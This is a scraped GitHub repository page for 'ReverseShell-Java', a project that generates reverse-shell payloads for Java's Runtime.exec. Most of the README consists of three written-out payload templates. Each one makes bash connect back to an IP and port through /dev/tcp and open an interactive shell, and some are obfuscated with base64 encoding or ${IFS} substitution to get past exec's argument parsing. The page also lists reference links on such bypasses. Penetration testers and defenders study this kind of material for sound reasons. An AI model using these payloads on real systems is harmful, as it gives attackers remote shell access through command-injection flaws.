Skip to content

Generating payloads to reverse shell in different contexts of java.

Notifications You must be signed in to change notification settings

welk1n/ReverseShell-Java

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 

Repository files navigation

ReverseShell-Java

The project work on generating payloads to reverse shell in different contexts of java.

Payloads in Runtime.getRuntime().exec(String command):

Method1:

Linux: bash -c {echo,BASE64(bash -i >& /dev/tcp/IP/PORT 0>&1)}|{base64,-d}|{bash,-i}

MAC: bash -c {echo,BASE64(bash -i >& /dev/tcp/IP/PORT 0>&1)}|{base64,-D}|{bash,-i}

Method2:

bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1

Method3:

bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/PORT 0>&1

Reference:

http://www.jackson-t.ca/runtime-exec-payloads.html

https://blog.spoock.com/2018/11/25/getshell-bypass-exec/

About

Generating payloads to reverse shell in different contexts of java.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages